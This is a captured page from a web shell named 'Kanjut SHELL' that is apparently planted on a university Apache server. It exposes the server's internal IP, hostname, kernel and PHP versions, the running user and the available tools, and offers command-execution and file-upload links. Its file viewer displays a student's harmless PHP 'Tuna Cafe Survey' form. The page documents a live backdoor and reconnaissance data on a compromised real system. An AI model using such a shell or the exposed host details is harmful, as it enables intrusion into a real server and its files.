Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.133.138.129
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/tmhoward/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/tmhoward/www/Assignment3.php
<!-- 

File:  Assignment3.html  
-->


<center>
<FONT color=blue size=3>
<H2>
Tuna Cafe Survey
</H2>
</center>
<HR>

<FORM action=Assignment3_1.php method=post>
<?php
	$menu = array("Tuna Casserole", "Tuna Sandwich", "Tuna Pie", 
			"Grilled Tuna", "Tuna Surprise");
	$bs = 1;

	print "Please indicate your favorite. <BR>";

	for($i=0; $i<count($menu); $i++)
	{
		print "<INPUT TYPE=checkbox name=prefer[] value=$i> $menu[$i]";
		if($i == $bs)	
			print "<B><FONT color=red>  Best seller! </FONT> </B>"; 
		print "<BR>";
	}

?>
<p>
<?php
	$menu1 = array("The marvelous food preparation", "The affordable prices", "The speedy services", 
			"Just like tuna", "None of the above");
	$bs = 1;

	print "Please indicate what you like about the service. <BR>";

	for($i=0; $i<count($menu1); $i++)
	{
		print "<INPUT TYPE=checkbox name=prefer1[] value=$i> $menu1[$i]";
		if($i == $bs)	
			print "<B> </B>"; 
		print "<BR>";
	}

?>
<p>

<INPUT type=submit value=Submit>
<INPUT type=reset value=Reset>
</FORM>
</FONT>

Stv3n404 - 2023